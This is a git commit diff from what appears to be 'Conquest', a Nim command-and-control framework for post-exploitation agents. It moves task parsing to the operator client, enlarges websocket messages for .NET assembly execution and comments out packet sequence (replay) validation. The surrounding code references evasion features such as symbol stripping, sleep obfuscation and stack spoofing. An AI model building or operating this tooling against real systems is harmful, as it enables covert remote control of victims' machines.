Moved task parsing logic to the client to be able to support dotnet/bof commands when operating from a different machine than the team server. Disabled sequence tracking due to issues.
This commit is contained in:
@@ -4,5 +4,5 @@
|
|||||||
--opt:size
|
--opt:size
|
||||||
--passL:"-s" # Strip symbols, such as sensitive function names
|
--passL:"-s" # Strip symbols, such as sensitive function names
|
||||||
-d:CONFIGURATION="PLACEHOLDERAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPLACEHOLDER"
|
-d:CONFIGURATION="PLACEHOLDERAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPLACEHOLDER"
|
||||||
-d:MODULES="223"
|
-d:MODULES="255"
|
||||||
-o:"/mnt/c/Users/jakob/Documents/Projects/conquest/bin/monarch.x64.exe"
|
-o:"/mnt/c/Users/jakob/Documents/Projects/conquest/bin/monarch.x64.exe"
|
||||||
@@ -1,6 +1,6 @@
|
|||||||
import std/paths
|
import std/paths
|
||||||
import strutils, sequtils, times, tables
|
import strutils, sequtils, times, tables
|
||||||
import ../../common/[types, sequence, crypto, utils, serialize]
|
import ../common/[types, sequence, crypto, utils, serialize]
|
||||||
|
|
||||||
proc parseInput*(input: string): seq[string] =
|
proc parseInput*(input: string): seq[string] =
|
||||||
var i = 0
|
var i = 0
|
||||||
@@ -84,12 +84,12 @@ proc parseArgument*(argument: Argument, value: string): TaskArg =
|
|||||||
|
|
||||||
return arg
|
return arg
|
||||||
|
|
||||||
proc createTask*(cq: Conquest, agentId: string, command: Command, arguments: seq[string]): Task =
|
proc createTask*(agentId, listenerId: string, command: Command, arguments: seq[string]): Task =
|
||||||
|
|
||||||
# Construct the task payload prefix
|
# Construct the task payload prefix
|
||||||
var task: Task
|
var task: Task
|
||||||
task.taskId = string.toUuid(generateUUID())
|
task.taskId = string.toUuid(generateUUID())
|
||||||
task.listenerId = string.toUuid(cq.agents[agentId].listenerId)
|
task.listenerId = string.toUuid(listenerId)
|
||||||
task.timestamp = uint32(now().toTime().toUnix())
|
task.timestamp = uint32(now().toTime().toUnix())
|
||||||
task.command = cast[uint16](command.commandType)
|
task.command = cast[uint16](command.commandType)
|
||||||
task.argCount = uint8(arguments.len)
|
task.argCount = uint8(arguments.len)
|
||||||
@@ -1,9 +1,10 @@
|
|||||||
import whisky
|
import whisky
|
||||||
import strformat, strutils, times
|
import strformat, strutils, times, json
|
||||||
import imguin/[cimgui, glfw_opengl, simple]
|
import imguin/[cimgui, glfw_opengl, simple]
|
||||||
import ../utils/[appImGui, colors]
|
import ../utils/[appImGui, colors]
|
||||||
import ../../common/[types]
|
import ../../common/[types, utils]
|
||||||
import ../websocket
|
import ../../modules/manager
|
||||||
|
import ../[task, websocket]
|
||||||
|
|
||||||
const MAX_INPUT_LENGTH = 512
|
const MAX_INPUT_LENGTH = 512
|
||||||
type
|
type
|
||||||
@@ -124,6 +125,32 @@ proc addItem*(component: ConsoleComponent, itemType: LogType, data: string, time
|
|||||||
text: line
|
text: line
|
||||||
))
|
))
|
||||||
|
|
||||||
|
#[
|
||||||
|
Handling console commands
|
||||||
|
]#
|
||||||
|
proc handleAgentCommand*(component: ConsoleComponent, ws: WebSocket, input: string) =
|
||||||
|
|
||||||
|
# Convert user input into sequence of string arguments
|
||||||
|
let parsedArgs = parseInput(input)
|
||||||
|
|
||||||
|
# Handle 'help' command
|
||||||
|
if parsedArgs[0] == "help":
|
||||||
|
# cq.handleHelp(parsedArgs)
|
||||||
|
component.addItem(LOG_WARNING, "Help")
|
||||||
|
return
|
||||||
|
|
||||||
|
# Handle commands with actions on the agent
|
||||||
|
try:
|
||||||
|
let
|
||||||
|
command = getCommandByName(parsedArgs[0])
|
||||||
|
task = createTask(component.agent.agentId, component.agent.listenerId, command, parsedArgs[1..^1])
|
||||||
|
|
||||||
|
ws.sendAgentTask(component.agent.agentId, task)
|
||||||
|
component.addItem(LOG_INFO, fmt"Tasked agent to {command.description.toLowerAscii()} ({Uuid.toString(task.taskId)})")
|
||||||
|
|
||||||
|
except CatchableError:
|
||||||
|
component.addItem(LOG_ERROR, getCurrentExceptionMsg())
|
||||||
|
|
||||||
#[
|
#[
|
||||||
Drawing
|
Drawing
|
||||||
]#
|
]#
|
||||||
@@ -271,7 +298,7 @@ proc draw*(component: ConsoleComponent, ws: WebSocket) =
|
|||||||
component.addItem(LOG_COMMAND, command)
|
component.addItem(LOG_COMMAND, command)
|
||||||
|
|
||||||
# Send command to team server
|
# Send command to team server
|
||||||
ws.sendAgentCommand(component.agent.agentId, command)
|
component.handleAgentCommand(ws, command)
|
||||||
|
|
||||||
# Add command to console history
|
# Add command to console history
|
||||||
component.history.add(command)
|
component.history.add(command)
|
||||||
|
|||||||
@@ -50,8 +50,8 @@ proc draw*(component: DockspaceComponent, showComponent: ptr bool, views: Table[
|
|||||||
igDockBuilderAddNode(dockspaceId, ImGuiDockNodeFlags_DockSpace.int32)
|
igDockBuilderAddNode(dockspaceId, ImGuiDockNodeFlags_DockSpace.int32)
|
||||||
igDockBuilderSetNodeSize(dockspaceId, vp.WorkSize)
|
igDockBuilderSetNodeSize(dockspaceId, vp.WorkSize)
|
||||||
|
|
||||||
discard igDockBuilderSplitNode(dockspaceId, ImGuiDir_Down, 0.8f, dockBottom, dockTop)
|
discard igDockBuilderSplitNode(dockspaceId, ImGuiDir_Down, 5.0f, dockBottom, dockTop)
|
||||||
discard igDockBuilderSplitNode(dockTop[], ImGuiDir_Right, 0.4f, dockTopRight, dockTopLeft)
|
discard igDockBuilderSplitNode(dockTop[], ImGuiDir_Right, 0.5f, dockTopRight, dockTopLeft)
|
||||||
|
|
||||||
igDockBuilderDockWindow("Sessions [Table View]", dockTopLeft[])
|
igDockBuilderDockWindow("Sessions [Table View]", dockTopLeft[])
|
||||||
igDockBuilderDockWindow("Listeners", dockBottom[])
|
igDockBuilderDockWindow("Listeners", dockBottom[])
|
||||||
|
|||||||
@@ -38,13 +38,13 @@ proc sendAgentBuild*(ws: WebSocket, buildInformation: AgentBuildInformation) =
|
|||||||
)
|
)
|
||||||
ws.sendEvent(event)
|
ws.sendEvent(event)
|
||||||
|
|
||||||
proc sendAgentCommand*(ws: WebSocket, agentId: string, command: string) =
|
proc sendAgentTask*(ws: WebSocket, agentId: string, task: Task) =
|
||||||
let event = Event(
|
let event = Event(
|
||||||
eventType: CLIENT_AGENT_COMMAND,
|
eventType: CLIENT_AGENT_TASK,
|
||||||
timestamp: now().toTime().toUnix(),
|
timestamp: now().toTime().toUnix(),
|
||||||
data: %*{
|
data: %*{
|
||||||
"agentId": agentId,
|
"agentId": agentId,
|
||||||
"command": command
|
"task": task
|
||||||
}
|
}
|
||||||
)
|
)
|
||||||
ws.sendEvent(event)
|
ws.sendEvent(event)
|
||||||
|
|||||||
@@ -8,23 +8,23 @@ proc nextSequence*(agentId: uint32): uint32 =
|
|||||||
return sequenceTable[agentId]
|
return sequenceTable[agentId]
|
||||||
|
|
||||||
proc validateSequence(agentId: uint32, seqNr: uint32, packetType: uint8): bool =
|
proc validateSequence(agentId: uint32, seqNr: uint32, packetType: uint8): bool =
|
||||||
let lastSeqNr = sequenceTable.getOrDefault(agentId, 0'u32)
|
# let lastSeqNr = sequenceTable.getOrDefault(agentId, 0'u32)
|
||||||
|
|
||||||
# Heartbeat messages are not used for sequence tracking
|
# # Heartbeat messages are not used for sequence tracking
|
||||||
if cast[PacketType](packetType) == MSG_HEARTBEAT:
|
# if cast[PacketType](packetType) == MSG_HEARTBEAT:
|
||||||
return true
|
# return true
|
||||||
|
|
||||||
# In order to keep agents running after server restart, accept all connection with seqNr = 1, to update the table
|
# # In order to keep agents running after server restart, accept all connection with seqNr = 1, to update the table
|
||||||
if seqNr == 1'u32:
|
# if seqNr == 1'u32:
|
||||||
sequenceTable[agentId] = seqNr
|
# sequenceTable[agentId] = seqNr
|
||||||
return true
|
# return true
|
||||||
|
|
||||||
# Validate that the sequence number of the current packet is higher than the currently stored one
|
# # Validate that the sequence number of the current packet is higher than the currently stored one
|
||||||
if seqNr <= lastSeqNr:
|
# if seqNr <= lastSeqNr:
|
||||||
return false
|
# return false
|
||||||
|
|
||||||
# Update sequence number
|
# # Update sequence number
|
||||||
sequenceTable[agentId] = seqNr
|
# sequenceTable[agentId] = seqNr
|
||||||
return true
|
return true
|
||||||
|
|
||||||
proc validatePacket*(header: Header, expectedType: uint8) =
|
proc validatePacket*(header: Header, expectedType: uint8) =
|
||||||
|
|||||||
@@ -246,7 +246,7 @@ type
|
|||||||
|
|
||||||
# Sent by client
|
# Sent by client
|
||||||
CLIENT_AGENT_BUILD = 1'u8 # Generate an agent binary for a specific listener
|
CLIENT_AGENT_BUILD = 1'u8 # Generate an agent binary for a specific listener
|
||||||
CLIENT_AGENT_COMMAND = 2'u8 # Instruct TS to send queue a command for a specific agent
|
CLIENT_AGENT_TASK = 2'u8 # Instruct TS to send queue a command for a specific agent
|
||||||
CLIENT_LISTENER_START = 3'u8 # Start a listener on the TS
|
CLIENT_LISTENER_START = 3'u8 # Start a listener on the TS
|
||||||
CLIENT_LISTENER_STOP = 4'u8 # Stop a listener
|
CLIENT_LISTENER_STOP = 4'u8 # Stop a listener
|
||||||
|
|
||||||
@@ -337,4 +337,3 @@ type
|
|||||||
sleepTechnique*: SleepObfuscationTechnique
|
sleepTechnique*: SleepObfuscationTechnique
|
||||||
spoofStack*: bool
|
spoofStack*: bool
|
||||||
modules*: uint32
|
modules*: uint32
|
||||||
|
|
||||||
|
|||||||
@@ -13,7 +13,7 @@ proc executeCopy(ctx: AgentCtx, task: Task): TaskResult
|
|||||||
let module* = Module(
|
let module* = Module(
|
||||||
name: protect("filesystem"),
|
name: protect("filesystem"),
|
||||||
description: protect("Conduct simple filesystem operations via Windows API."),
|
description: protect("Conduct simple filesystem operations via Windows API."),
|
||||||
moduleType: MODULE_DOTNET,
|
moduleType: MODULE_FILESYSTEM,
|
||||||
commands: @[
|
commands: @[
|
||||||
Command(
|
Command(
|
||||||
name: protect("pwd"),
|
name: protect("pwd"),
|
||||||
|
|||||||
@@ -8,7 +8,7 @@ proc executeUpload(ctx: AgentCtx, task: Task): TaskResult
|
|||||||
let module* = Module(
|
let module* = Module(
|
||||||
name: protect("filetransfer"),
|
name: protect("filetransfer"),
|
||||||
description: protect("Upload/download files to/from the target system."),
|
description: protect("Upload/download files to/from the target system."),
|
||||||
moduleType: MODULE_FILESYSTEM,
|
moduleType: MODULE_FILETRANSFER,
|
||||||
commands: @[
|
commands: @[
|
||||||
Command(
|
Command(
|
||||||
name: protect("download"),
|
name: protect("download"),
|
||||||
|
|||||||
@@ -44,7 +44,7 @@ proc register*(registrationData: seq[byte]): bool =
|
|||||||
cq.error(err.msg)
|
cq.error(err.msg)
|
||||||
return false
|
return false
|
||||||
|
|
||||||
proc getTasks*(heartbeat: seq[byte]): seq[seq[byte]] =
|
proc getTasks*(heartbeat: seq[byte]): tuple[agentId: string, tasks: seq[seq[byte]]] =
|
||||||
|
|
||||||
{.cast(gcsafe).}:
|
{.cast(gcsafe).}:
|
||||||
|
|
||||||
@@ -75,11 +75,11 @@ proc getTasks*(heartbeat: seq[byte]): seq[seq[byte]] =
|
|||||||
let taskData = cq.serializeTask(task)
|
let taskData = cq.serializeTask(task)
|
||||||
tasks.add(taskData)
|
tasks.add(taskData)
|
||||||
|
|
||||||
return tasks
|
return (agentId, tasks)
|
||||||
|
|
||||||
except CatchableError as err:
|
except CatchableError as err:
|
||||||
cq.error(err.msg)
|
cq.error(err.msg)
|
||||||
return @[]
|
return ("", @[])
|
||||||
|
|
||||||
proc handleResult*(resultData: seq[byte]) =
|
proc handleResult*(resultData: seq[byte]) =
|
||||||
|
|
||||||
|
|||||||
@@ -5,6 +5,7 @@ import ./handlers
|
|||||||
import ../globals
|
import ../globals
|
||||||
import ../core/logger
|
import ../core/logger
|
||||||
import ../../common/[types, utils, serialize, profile]
|
import ../../common/[types, utils, serialize, profile]
|
||||||
|
import ../websocket
|
||||||
|
|
||||||
# Not Found
|
# Not Found
|
||||||
proc error404*(request: Request) =
|
proc error404*(request: Request) =
|
||||||
@@ -73,7 +74,7 @@ proc httpGet*(request: Request) =
|
|||||||
|
|
||||||
try:
|
try:
|
||||||
var responseBytes: seq[byte]
|
var responseBytes: seq[byte]
|
||||||
let tasks: seq[seq[byte]] = getTasks(heartbeat)
|
let (agentId, tasks) = getTasks(heartbeat)
|
||||||
|
|
||||||
if tasks.len <= 0:
|
if tasks.len <= 0:
|
||||||
request.respond(200, body = "")
|
request.respond(200, body = "")
|
||||||
@@ -107,6 +108,7 @@ proc httpGet*(request: Request) =
|
|||||||
request.respond(200, headers = headers, body = prefix & response & suffix)
|
request.respond(200, headers = headers, body = prefix & response & suffix)
|
||||||
|
|
||||||
# Notify operator that agent collected tasks
|
# Notify operator that agent collected tasks
|
||||||
|
cq.client.sendConsoleItem(agentId, LOG_INFO, fmt"{$response.len} bytes sent.")
|
||||||
cq.info(fmt"{$response.len} bytes sent.")
|
cq.info(fmt"{$response.len} bytes sent.")
|
||||||
|
|
||||||
except CatchableError:
|
except CatchableError:
|
||||||
|
|||||||
@@ -107,25 +107,26 @@ proc agentKill*(cq: Conquest, name: string) =
|
|||||||
# Switch to interact mode
|
# Switch to interact mode
|
||||||
proc agentInteract*(cq: Conquest, name: string) =
|
proc agentInteract*(cq: Conquest, name: string) =
|
||||||
|
|
||||||
|
discard
|
||||||
# Verify that agent exists
|
# Verify that agent exists
|
||||||
if not cq.dbAgentExists(name.toUpperAscii):
|
# if not cq.dbAgentExists(name.toUpperAscii):
|
||||||
cq.error(fmt"Agent {name.toUpperAscii} does not exist.")
|
# cq.error(fmt"Agent {name.toUpperAscii} does not exist.")
|
||||||
return
|
# return
|
||||||
|
|
||||||
let agent = cq.agents[name.toUpperAscii]
|
# let agent = cq.agents[name.toUpperAscii]
|
||||||
var command: string = ""
|
# var command: string = ""
|
||||||
|
|
||||||
# Change prompt indicator to show agent interaction
|
# # Change prompt indicator to show agent interaction
|
||||||
cq.interactAgent = agent
|
# cq.interactAgent = agent
|
||||||
cq.prompt.setIndicator(fmt"[{agent.agentId}]> ")
|
# cq.prompt.setIndicator(fmt"[{agent.agentId}]> ")
|
||||||
cq.prompt.setStatusBar(@[("[mode]", "interact"), ("[username]", fmt"{agent.username}"), ("[hostname]", fmt"{agent.hostname}"), ("[ip]", fmt"{agent.ip}"), ("[domain]", fmt"{agent.domain}")])
|
# cq.prompt.setStatusBar(@[("[mode]", "interact"), ("[username]", fmt"{agent.username}"), ("[hostname]", fmt"{agent.hostname}"), ("[ip]", fmt"{agent.ip}"), ("[domain]", fmt"{agent.domain}")])
|
||||||
|
|
||||||
cq.info("Started interacting with agent ", fgYellow, styleBright, agent.agentId, resetStyle, ". Type 'help' to list available commands.\n")
|
# cq.info("Started interacting with agent ", fgYellow, styleBright, agent.agentId, resetStyle, ". Type 'help' to list available commands.\n")
|
||||||
|
|
||||||
while command.replace(" ", "") != "back":
|
# while command.replace(" ", "") != "back":
|
||||||
command = cq.prompt.readLine()
|
# command = cq.prompt.readLine()
|
||||||
cq.handleAgentCommand(name, command)
|
# cq.handleAgentCommand(name, command)
|
||||||
|
|
||||||
# Reset interactAgent field after interaction with agent is ended using 'back' command
|
# # Reset interactAgent field after interaction with agent is ended using 'back' command
|
||||||
cq.interactAgent = nil
|
# cq.interactAgent = nil
|
||||||
|
|
||||||
|
|||||||
@@ -1,4 +1,4 @@
|
|||||||
import prompt, terminal, argparse, parsetoml, times, json
|
import prompt, terminal, argparse, parsetoml, times, json, math
|
||||||
import strutils, strformat, system, tables
|
import strutils, strformat, system, tables
|
||||||
|
|
||||||
import ./[agent, listener, task, builder]
|
import ./[agent, listener, task, builder]
|
||||||
@@ -174,10 +174,10 @@ proc websocketHandler(ws: WebSocket, event: WebSocketEvent, message: Message) {.
|
|||||||
let event = message.recvEvent()
|
let event = message.recvEvent()
|
||||||
|
|
||||||
case event.eventType:
|
case event.eventType:
|
||||||
of CLIENT_AGENT_COMMAND:
|
of CLIENT_AGENT_TASK:
|
||||||
let agentId = event.data["agentId"].getStr()
|
let agentId = event.data["agentId"].getStr()
|
||||||
let command = event.data["command"].getStr()
|
let task = event.data["task"].to(Task)
|
||||||
cq.handleAgentCommand(agentId, command)
|
cq.agents[agentId].tasks.add(task)
|
||||||
|
|
||||||
of CLIENT_LISTENER_START:
|
of CLIENT_LISTENER_START:
|
||||||
let listener = event.data.to(UIListener)
|
let listener = event.data.to(UIListener)
|
||||||
@@ -246,7 +246,9 @@ proc startServer*(profilePath: string) =
|
|||||||
# Start websocket server
|
# Start websocket server
|
||||||
var router: Router
|
var router: Router
|
||||||
router.get("/*", upgradeHandler)
|
router.get("/*", upgradeHandler)
|
||||||
let server = newServer(router, websocketHandler)
|
|
||||||
|
# Increased websocket message length in order to support dotnet assembly execution
|
||||||
|
let server = newServer(router, websocketHandler, maxMessageLen = 1024 * 1024 * 1024)
|
||||||
|
|
||||||
var thread: Thread[Server]
|
var thread: Thread[Server]
|
||||||
createThread(thread, serve, server)
|
createThread(thread, serve, server)
|
||||||
|
|||||||
@@ -1,6 +1,5 @@
|
|||||||
import strformat, terminal, tables, sequtils, strutils
|
import strformat, terminal, tables, sequtils, strutils
|
||||||
|
|
||||||
import ../protocol/parser
|
|
||||||
import ../core/logger
|
import ../core/logger
|
||||||
import ../websocket
|
import ../websocket
|
||||||
import ../../modules/manager
|
import ../../modules/manager
|
||||||
@@ -50,31 +49,3 @@ proc handleHelp(cq: Conquest, parsed: seq[string]) =
|
|||||||
except ValueError:
|
except ValueError:
|
||||||
# Command was not found
|
# Command was not found
|
||||||
cq.error(fmt"The command '{parsed[1]}' does not exist." & '\n')
|
cq.error(fmt"The command '{parsed[1]}' does not exist." & '\n')
|
||||||
|
|
||||||
proc handleAgentCommand*(cq: Conquest, agentId: string, input: string) =
|
|
||||||
|
|
||||||
cq.input(input)
|
|
||||||
|
|
||||||
# Convert user input into sequence of string arguments
|
|
||||||
let parsedArgs = parseInput(input)
|
|
||||||
|
|
||||||
# Handle 'help' command
|
|
||||||
if parsedArgs[0] == "help":
|
|
||||||
cq.handleHelp(parsedArgs)
|
|
||||||
return
|
|
||||||
|
|
||||||
# Handle commands with actions on the agent
|
|
||||||
try:
|
|
||||||
let
|
|
||||||
command = getCommandByName(parsedArgs[0])
|
|
||||||
task = cq.createTask(agentId, command, parsedArgs[1..^1])
|
|
||||||
|
|
||||||
# Add task to queue
|
|
||||||
cq.agents[agentId].tasks.add(task)
|
|
||||||
|
|
||||||
cq.client.sendConsoleItem(agentId, LOG_INFO, fmt"Tasked agent to {command.description.toLowerAscii()}")
|
|
||||||
cq.info(fmt"Tasked agent to {command.description.toLowerAscii()}")
|
|
||||||
|
|
||||||
except CatchableError:
|
|
||||||
cq.error(getCurrentExceptionMsg() & "\n")
|
|
||||||
return
|
|
||||||
Reference in New Issue
Block a user